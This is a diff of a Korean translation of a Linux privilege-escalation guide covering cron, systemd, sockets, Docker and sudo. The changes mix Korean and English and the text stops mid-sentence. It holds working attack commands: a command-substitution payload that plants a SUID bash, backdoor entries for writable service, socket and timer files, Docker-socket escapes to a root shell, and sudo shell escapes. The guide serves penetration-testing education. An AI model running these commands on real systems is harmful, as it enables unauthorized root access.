expansion, command substitution, arithmetic expansion, 그 다음으로 word splitting과 pathname expansion. 따라서 `$(/bin/bash -c 'id > /tmp/pwn')0` 같은 값은 먼저 치환되어(명령이 실행됨), 남은 숫자 `0`이 산술에 사용되어 스크립트가 오류 없이 계속됩니다. - Typical vulnerable pattern: ```bash @@ -366,7 +370,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: 파싱되는 로그에 공격자가 제어하는 텍스트를 기록하게 하여 숫자처럼 보이는 필드에 command substitution이 포함되고 끝에 숫자가 오게 만드세요. 명령이 stdout으로 출력되지 않도록 하거나 리다이렉트하여 산술이 유효하도록 하십시오. +- Exploitation: 파싱되는 로그에 공격자가 제어하는 텍스트를 기록하도록 해서, 숫자처럼 보이는 필드에 command substitution이 포함되고 끝이 숫자이도록 만드세요. 명령이 stdout에 출력되지 않도록(또는 리다이렉트) 하여 산술 연산이 유효하게 유지되도록 하세요. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -375,29 +379,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -만약 **cron script를 수정할 수 있다면** root에 의해 실행되는 cron script를 수정할 수 있는 경우, 매우 쉽게 shell을 얻을 수 있습니다: +root에 의해 실행되는 **cron script**를 수정할 수 있다면, 아주 쉽게 shell을 얻을 수 있습니다: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root에 의해 실행되는 script가 **자신이 완전한 접근 권한을 가진 directory**를 사용한다면, 해당 folder를 삭제하고 **자신이 제어하는 script를 제공하는 다른 곳으로 symlink folder를 만드는 것**이 유용할 수 있습니다. +root가 실행하는 script가 **directory where you have full access**를 사용한다면, 그 folder를 삭제하고 당신이 제어하는 script를 제공하는 다른 folder로 연결되는 **create a symlink folder to another one**을 만드는 것이 유용할 수 있습니다. ```bash ln -d -s ``` ### 자주 실행되는 cron jobs -프로세스를 모니터링하여 1분, 2분 또는 5분마다 실행되는 프로세스를 찾아볼 수 있습니다. 이를 이용해 escalate privileges를 시도할 수 있습니다. +프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 이용해 권한 상승(escalate privileges)을 시도할 수 있습니다. -예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령어 순으로 정렬**하고 실행 횟수가 가장 많은 명령어들을 삭제하려면 다음을 실행하면 됩니다: +예를 들어, **1분 동안 0.1초마다 모니터링**, **실행 횟수가 적은 명령어 순으로 정렬**하고 가장 많이 실행된 명령어들을 삭제하려면, 다음과 같이 할 수 있습니다: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**다음 도구도 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이 도구는 시작되는 모든 프로세스를 모니터하고 나열합니다). +**다음도 사용할 수 있습니다** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (이는 시작되는 모든 프로세스를 모니터링하고 나열합니다). -### 숨겨진 cron jobs +### 보이지 않는 cron jobs -주석 뒤에 **carriage return을 넣는** 방식(newline character 없이)으로 cronjob을 생성할 수 있으며, cron job은 작동합니다. 예시(캐리지 리턴 문자에 주의): +코멘트 뒤에 **캐리지 리턴을 넣는 방식으로**(newline 문자 없이) cronjob을 생성하면, cron job이 작동합니다. 예시(캐리지 리턴 문자에 주의): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -405,12 +409,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 쓰기 가능한 _.service_ 파일 -어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 해당 파일을 **수정할 수 있습니다** 그래서 그것이 당신의 **backdoor를 실행하도록** 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 동작하게 만들 수 있습니다 (기계를 재부팅해야 할 수도 있습니다).\ -예를 들어 .service 파일 내부에서 **`ExecStart=/tmp/script.sh`** 로 backdoor를 만들 수 있습니다 +어떤 `.service` 파일에 쓸 수 있는지 확인하세요. 가능하다면, 이를 **수정할 수 있습니다** 그래서 서비스가 **시작될 때**, **재시작될 때** 또는 **중지될 때** 당신의 **backdoor가** **실행되도록** 만들 수 있습니다(머신을 재부팅할 때까지 기다려야 할 수도 있습니다).\ +예를 들어 `.service` 파일 안에 당신의 backdoor를 넣고 **`ExecStart=/tmp/script.sh`**처럼 지정하세요 -### 쓰기 권한 있는 서비스 바이너리 +### 쓰기 가능한 서비스 바이너리 -명심하세요: 서비스에 의해 실행되는 바이너리에 대해 **쓰기 권한을 가지고 있다면**, 해당 바이너리를 backdoor로 변경할 수 있으며 서비스가 다시 실행될 때 backdoor가 실행됩니다. +서비스에 의해 실행되는 **binaries에 대한 쓰기 권한**이 있다면, 이를 backdoors로 교체해서 서비스가 재실행될 때 backdoors가 실행되도록 할 수 있다는 점을 기억하세요. ### systemd PATH - 상대 경로 @@ -418,74 +422,74 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -경로의 어떤 폴더에든 **write**할 수 있음을 발견하면 **escalate privileges**가 가능할 수 있습니다. 다음과 같은 파일에서 **relative paths being used on service configurations**를 찾아야 합니다: +경로의 어떤 폴더에든 **write** 권한이 있는 경우 **escalate privileges**를 할 수 있습니다. 다음과 같은 파일들에서 **서비스 구성에 사용되는 상대 경로**를 찾아야 합니다: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -그런 다음, 쓰기가 가능한 systemd PATH 폴더 안에 상대 경로 바이너리와 동일한 이름을 가진 **실행 파일**을 생성하세요. 서비스가 취약한 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면, 당신의 **backdoor**가 실행됩니다 (`unprivileged users usually cannot start/stop services but check if you can use `sudo -l``). +그런 다음, systemd PATH 폴더 중에서 당신이 쓰기 가능한 위치에 **상대 경로 바이너리와 동일한 이름의** **executable**을 생성하고, 서비스가 취약 동작(**Start**, **Stop**, **Reload**)을 실행하도록 요청되면 당신의 **backdoor가 실행됩니다** (비특권 사용자는 보통 서비스를 시작/중지할 수 없으니 `sudo -l`을 사용할 수 있는지 확인하세요). -**서비스에 대해 더 알아보려면 `man systemd.service`를 참조하세요.** +**서비스에 대해 더 알아보려면 `man systemd.service`를 참고하세요.** -## **Timers** +## **타이머** -**Timers**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. **Timers**는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행될 수 있어 cron의 대안으로 사용할 수 있습니다. +**타이머**는 이름이 `**.timer**`로 끝나며 `**.service**` 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. **타이머**는 캘린더 시간 이벤트와 단조(monotonic) 시간 이벤트를 기본적으로 지원하고 비동기적으로 실행될 수 있기 때문에 cron의 대안으로 사용할 수 있습니다. -You can enumerate all the timers with: +다음 명령으로 모든 타이머를 열거할 수 있습니다: ```bash systemctl list-timers --all ``` ### 쓰기 가능한 타이머 -타이머를 수정할 수 있다면 systemd.unit의 일부 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다 +타이머를 수정할 수 있다면 systemd.unit의 일부 항목(예: `.service` 또는 `.target`)을 실행하도록 만들 수 있습니다. ```bash Unit=backdoor.service ``` -문서에서 Unit에 대해 다음과 같이 설명하고 있습니다: +In the documentation you can read what the Unit is: -> 이 타이머가 만료되었을 때 활성화할 unit입니다. 인수는 접미사가 ".timer"가 아닌 unit 이름입니다. 지정하지 않으면 이 값은 접미사를 제외하면 timer unit과 동일한 이름을 가진 service로 기본 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 이름은 접미사만 다르도록 동일하게 명명하는 것이 권장됩니다. +> 이 타이머가 만료될 때 활성화할 unit입니다. 인수는 접미사가 ".timer"가 아닌 unit name입니다. 명시하지 않으면 이 값은 timer unit과 이름이 같고 접미사만 다른 service로 기본 설정됩니다. (See above.) 활성화되는 unit 이름과 timer unit 이름은 접미사를 제외하고 동일하게 명명하는 것이 권장됩니다. -따라서 이 권한을 악용하려면 다음이 필요합니다: +Therefore, to abuse this permission you would need to: -- **쓰기 가능한 바이너리를 실행하는** systemd unit(예: `.service`)를 찾는다 -- **상대 경로를 실행하는** systemd unit을 찾고, **systemd PATH**에 대해 **쓰기 권한**을 가지고 있어야 합니다 (해당 실행파일을 가장하기 위해) +- `.service`와 같은 systemd unit 중에서 **쓰기 가능한 바이너리를 실행하는** 것을 찾습니다 +- **상대 경로를 실행하는** systemd unit을 찾고, 해당 실행파일을 가장하기 위해 **systemd PATH**에 대한 **쓰기 권한**을 가져야 합니다 -**timers에 대해 더 알아보려면 `man systemd.timer`를 확인하세요.** +**Learn more about timers with `man systemd.timer`.** ### **타이머 활성화** -타이머를 enable하려면 root 권한이 필요하며 다음을 실행해야 합니다: +타이머를 활성화하려면 root 권한이 필요하며 다음을 실행해야 합니다: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## 소켓 +## Sockets -Unix Domain Sockets (UDS)는 클라이언트-서버 모델에서 동일한 머신 또는 서로 다른 머신 간의 **프로세스 통신**을 가능하게 합니다. 이들은 표준 Unix 디스크립터 파일을 활용해 컴퓨터 간 통신을 수행하며 `.socket` 파일을 통해 설정됩니다. +Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. -소켓은 `.socket` 파일을 사용해 구성할 수 있습니다. +Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** 이 파일 내부에서는 여러 가지 흥미로운 매개변수를 구성할 수 있습니다: +**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 서로 다르지만 요약하면 **어디에서 수신(listen)할지**를 지정하는 데 사용됩니다(예: AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등). -- `Accept`: 불리언 인수를 받습니다. `true`이면 들어오는 각 연결마다 **서비스 인스턴스가 생성**되고 그 인스턴스에는 해당 연결 소켓만 전달됩니다. `false`이면 모든 리스닝 소켓 자체가 시작된 서비스 유닛에 **전달되며**, 모든 연결에 대해 단 하나의 서비스 유닛만 생성됩니다. 이 값은 datagram 소켓과 FIFO에 대해서는 무시되며, 그러한 경우 단일 서비스 유닛이 무조건 모든 들어오는 트래픽을 처리합니다. **기본값은 false**입니다. 성능상의 이유로 새 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다. -- `ExecStartPre`, `ExecStartPost`: 하나 이상의 명령줄을 받고, 각각 리스닝 **소켓**/FIFO가 **생성되어 바인딩되기 전** 또는 **후**에 **실행**됩니다. 명령줄의 첫 토큰은 절대 파일명이어야 하며, 그 뒤에 프로세스 인수가 옵니다. -- `ExecStopPre`, `ExecStopPost`: 리스닝 **소켓**/FIFO가 **닫히고 제거되기 전** 또는 **후**에 **실행되는** 추가 **명령들**입니다. -- `Service`: 들어오는 트래픽에 대해 **활성화할 서비스(unit) 이름**을 지정합니다. 이 설정은 Accept=no인 소켓에서만 허용됩니다. 기본값은 소켓과 같은 이름(접미사만 대체된)의 서비스입니다. 대부분의 경우 이 옵션을 사용할 필요가 없습니다. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) +- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. +- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. +- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -### 쓰기 가능한 .socket 파일 +### Writable .socket files -쓰기 가능한 `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor` 같은 항목을 **추가**할 수 있으며, 그러면 소켓이 생성되기 전에 backdoor가 실행됩니다. 따라서 **대부분의 경우 머신이 재부팅될 때까지 기다려야 할 것입니다.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### 쓰기 가능한 소켓 +### Writable sockets -만약 어떤 **쓰기 가능한 소켓**을 확인한다면(지금은 구성용 `.socket` 파일이 아니라 Unix Sockets 자체를 말합니다), 해당 소켓과 **통신할 수** 있고 취약점을 이용할 수도 있습니다. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. -### Unix 소켓 열거 +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` @@ -498,7 +502,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation 예시:** +**Exploitation example:** {{#ref}} @@ -507,30 +511,30 @@ socket-command-injection.md ### HTTP sockets -일부 **sockets가 HTTP 요청을 수신하는** 경우가 있다는 점에 유의하세요 (_제가 말하는 것은 .socket 파일이 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: +일부 **sockets listening for HTTP** requests가 있을 수 있다는 점에 유의하세요 (_제가 말하는 것은 .socket files가 아니라 unix sockets로 동작하는 파일들입니다_). 다음 명령으로 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -소켓이 **HTTP 요청에 응답**한다면, 해당 소켓과 **통신**할 수 있고, 어쩌면 일부 취약점을 **exploit**할 수도 있습니다. +만약 소켓이 **HTTP 요청에 응답한다면**, 해당 소켓과 **통신**할 수 있으며 어쩌면 일부 취약점을 **exploit**할 수도 있습니다. ### 쓰기 가능한 Docker 소켓 -Docker 소켓(종종 `/var/run/docker.sock`에 위치)은 보호해야 하는 중요한 파일입니다. 기본적으로는 `root` 사용자와 `docker` 그룹 구성원이 쓰기 권한을 갖습니다. 이 소켓에 대한 쓰기 권한을 가지면 privilege escalation이 발생할 수 있습니다. 아래는 이를 수행하는 방법과 Docker CLI를 사용할 수 없을 때의 대체 방법입니다. +Docker 소켓(일반적으로 `/var/run/docker.sock`에 위치)은 반드시 보호해야 하는 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 멤버들이 쓰기 권한을 가집니다. 이 소켓에 대한 쓰기 접근 권한을 가지면 Privilege Escalation으로 이어질 수 있습니다. 다음은 이를 수행하는 방법과 Docker CLI를 사용할 수 없을 때의 대안 방법들에 대한 설명입니다. -#### **Docker CLI를 이용한 Privilege Escalation** +#### **Privilege Escalation with Docker CLI** -만약 Docker 소켓에 대한 쓰기 권한이 있다면, 다음 명령어들을 사용하여 privilege escalation을 수행할 수 있습니다: +Docker 소켓에 쓰기 접근 권한이 있다면, 다음 명령어들을 이용해 권한을 상승시킬 수 있습니다: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -These commands allow you to run a container with root-level access to the host's file system. +이 명령들은 호스트의 파일 시스템에 대한 루트 수준 접근 권한으로 컨테이너를 실행할 수 있게 해줍니다. -#### **Docker API 직접 사용하기** +#### **Docker API 직접 사용** -Docker CLI를 사용할 수 없는 경우에도 Docker socket은 Docker API와 `curl` 명령을 사용해 조작할 수 있습니다. +Docker CLI를 사용할 수 없는 경우에도 Docker 소켓은 Docker API와 `curl` 명령을 이용해 조작할 수 있습니다. -1. **List Docker Images:** 사용 가능한 이미지 목록을 가져옵니다. +1. **Docker 이미지 나열:** 사용 가능한 이미지 목록을 가져옵니다. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -542,13 +546,13 @@ curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -신규로 생성된 컨테이너 시작: +새로 생성된 컨테이너 시작: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **컨테이너에 Attach:** `socat`을 사용해 컨테이너에 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다. +3. **컨테이너에 연결:** `socat`를 사용해 컨테이너에 대한 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,31 +562,31 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` 연결을 설정한 후에는 컨테이너 내에서 호스트 파일시스템에 대한 root-level access로 명령을 직접 실행할 수 있습니다. +`socat` 연결을 설정한 후에는 컨테이너 내에서 호스트 파일시스템에 대한 루트 권한으로 직접 명령을 실행할 수 있습니다. ### 기타 -docker socket에 대한 쓰기 권한이 있고 **inside the group `docker`**인 경우 [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)를 이용할 수 있다는 점에 유의하세요. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 이를 악용할 수도 있습니다. +docker 소켓에 대해 쓰기 권한이 있고 **`docker` 그룹의 내부 멤버인 경우** [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group)가 있습니다. 만약 [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising)라면 해당 서비스를 손상시킬 수도 있습니다. -다음에서 **more ways to break out from docker or abuse it to escalate privileges**를 확인하세요: +다음에서 **docker에서 탈출하거나 이를 악용해 권한을 상승시키는 더 많은 방법들**을 확인하세요: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 권한 상승 -만약 **`ctr`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요. **you may be able to abuse it to escalate privileges**: +만약 **`ctr`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요 — **이를 악용해 권한을 상승시킬 수 있을 수 있습니다**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 권한 상승 -만약 **`runc`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요. **you may be able to abuse it to escalate privileges**: +만약 **`runc`** 명령을 사용할 수 있다면 다음 페이지를 읽으세요 — **이를 악용해 권한을 상승시킬 수 있을 수 있습니다**: {{#ref}} @@ -591,15 +595,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus는 애플리케이션이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **inter-Process Communication (IPC) system**입니다. 현대 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. +D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **인터프로세스 통신(IPC) 시스템**입니다. 현대적인 Linux 시스템을 염두에 두고 설계되어 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다. -이 시스템은 다재다능하여 프로세스 간 데이터 교환을 향상시키는 기본 IPC를 지원하며, 이는 **enhanced UNIX domain sockets**를 연상시킵니다. 또한 이벤트나 시그널을 방송하는 데 도움을 주어 시스템 구성 요소들 간의 원활한 통합을 촉진합니다. 예를 들어, 들어오는 통화에 대한 Bluetooth daemon의 시그널은 음악 재생기를 음소거하도록 할 수 있어 사용자 경험을 개선합니다. 아울러 D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간 서비스 요청과 메서드 호출을 단순화하고, 전통적으로 복잡했던 과정을 간소화합니다. +이 시스템은 기본적인 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, 이는 확장된 UNIX 도메인 소켓과 유사합니다. 또한 이벤트나 신호의 브로드캐스트를 지원해 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어 Bluetooth 데몬의 수신 호출 신호가 음악 재생기를 음소거하도록 유도할 수 있습니다. 추가로 D-Bus는 원격 객체 시스템을 지원해 서비스 요청과 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 단순화합니다. -D-Bus는 **allow/deny model**로 작동하며, 매칭되는 정책 규칙들의 누적 효과에 따라 메시지 권한(메서드 호출, 시그널 전송 등)을 관리합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 해당 권한의 악용을 통해 privilege escalation이 발생할 수 있습니다. +D-Bus는 **허용/거부 모델**로 동작하며, 일치하는 정책 규칙들의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 권한의 오용을 통해 권한 상승으로 이어질 수 있습니다. -예시로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책은 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고 해당 서비스로 메시지를 보내고 받을 수 있는 권한을 상세히 명시하고 있습니다. +예시로 `/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 해당 정책은 root 사용자가 `fi.w1.wpa_supplicant1`을 소유하고, 해당 서비스로 전송하며, 해당 서비스로부터 수신할 수 있는 권한을 자세히 설명합니다. -사용자나 그룹이 지정되지 않은 정책은 보편적으로 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 대상에 적용됩니다. +사용자나 그룹이 명시되지 않은 정책은 모든 사용자에 적용되며, "default" 컨텍스트 정책은 다른 특정 정책에 포함되지 않는 모든 대상에 적용됩니다. ```xml @@ -608,7 +612,7 @@ D-Bus는 **allow/deny model**로 작동하며, 매칭되는 정책 규칙들의 ``` -**여기에서 D-Bus communication을 enumerate하고 exploit하는 방법을 배우세요:** +**여기에서 D-Bus 통신을 enumerate하고 exploit하는 방법을 알아보세요:** {{#ref}} @@ -617,7 +621,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **네트워크** -항상 네트워크를 enumerate하고 머신의 위치를 파악하는 것은 흥미롭습니다. +네트워크를 enumerate하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다. ### 일반적인 enumeration ```bash @@ -642,16 +646,16 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### 열린 포트 -항상 접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요: +해당 머신에 접근하기 전에 상호작용할 수 없었던 네트워크 서비스가 실행 중인지 항상 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -트래픽을 sniff할 수 있는지 확인하세요. 가능하다면 일부 credentials를 확보할 수 있습니다. +sniff traffic을 할 수 있는지 확인해보세요. 가능하다면 일부 credentials를 획득할 수 있습니다. ``` timeout 1 tcpdump ``` @@ -659,7 +663,7 @@ timeout 1 tcpdump ### 일반 열거 -자신이 **누구인지**, 어떤 **권한**을 가지고 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자들이 **login**할 수 있는지, 그리고 어떤 사용자들이 **root privileges**를 가지고 있는지 확인하세요: +자신이 **누구**인지, 어떤 **권한**을 가지고 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자가 **login**할 수 있는지, 그리고 어떤 사용자가 **root privileges**를 가지고 있는지 확인하세요: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,12 +687,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -일부 Linux 버전은 **UID > INT_MAX**인 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +일부 Linux 버전은 **UID > INT_MAX** 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 자세한 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Groups -루트 권한을 부여할 수 있는 **어떤 그룹의 멤버인지** 확인하세요: +root 권한을 부여할 수 있는 **어떤 그룹의 구성원**인지 확인하세요: {{#ref}} @@ -697,7 +701,7 @@ interesting-groups-linux-pe/ ### Clipboard -가능하다면 클립보드에 흥미로운 내용이 있는지 확인하세요 +가능하다면 클립보드 안에 흥미로운 내용이 있는지 확인하세요 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -712,29 +716,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### 알려진 비밀번호 -환경의 **비밀번호를 알고 있다면** 해당 비밀번호로 **각 사용자로 로그인해 보세요**. +환경의 **비밀번호를 알고 있다면** 해당 비밀번호로 **각 사용자 계정에 로그인해 보세요**. ### Su Brute -많은 소음을 내는 것을 개의치 않으며 `su`와 `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 무차별 대입해볼 수 있습니다.\ +많은 소음을 발생시키는 것을 개의치 않고 컴퓨터에 `su`와 `timeout` 바이너리가 있다면 [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용해 사용자를 무차별 대입해볼 수 있습니다.\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)는 `-a` 파라미터로 사용자 무차별 대입도 시도합니다. -## 쓰기 가능한 $PATH 악용 +## 쓰기 가능한 PATH 악용 ### $PATH -$PATH의 일부 폴더에 **쓰기할 수 있다면** 다른 사용자(이상적으로는 root)가 실행할 명령 이름으로 **쓰기 가능한 폴더 안에 백도어를 생성**하여 권한을 상승시킬 수 있습니다. 단, 해당 명령이 $PATH에서 **귀하의 쓰기 가능한 폴더보다 앞선** 폴더에서 로드되지 않아야 합니다. +만약 $PATH의 일부 폴더에 **쓰기할 수 있다면**, 쓰기 가능한 폴더 안에 실행될 명령어 이름으로 **backdoor를 생성**해 권한을 상승시킬 수 있습니다. (이 명령어는 이상적으로 다른 사용자 — root가 — 실행할 것이며) 그리고 해당 명령어가 $PATH에서 당신의 쓰기 가능한 폴더보다 앞선 폴더에서 **로드되지 않아야** 합니다. ### SUDO and SUID -sudo를 통해 일부 명령을 실행하도록 허용되어 있거나 해당 파일에 suid 비트가 설정되어 있을 수 있습니다. 다음으로 확인하세요: +sudo로 어떤 명령을 실행할 수 있거나 해당 바이너리에 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용해 확인하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -일부 **예상치 못한 commands는 read 및/또는 write files를 하거나 심지어 execute a command할 수 있게 해줍니다.** 예를 들어: +일부 **예상치 못한 명령은 파일을 읽고/또는 쓸 수 있게 하거나, 심지어 명령을 실행할 수도 있습니다.** 예를 들어: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,31 +749,56 @@ less>! ``` ### NOPASSWD -Sudo 구성은 사용자가 비밀번호를 모른 채 다른 사용자의 권한으로 명령을 실행할 수 있도록 허용할 수 있다. +Sudo 구성은 사용자가 비밀번호를 알지 못해도 다른 사용자의 권한으로 특정 명령을 실행할 수 있게 허용할 수 있다. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -이 예에서 사용자 `demo`는 `root`로 `vim`을 실행할 수 있으며, 이제 `root` 디렉터리에 ssh key를 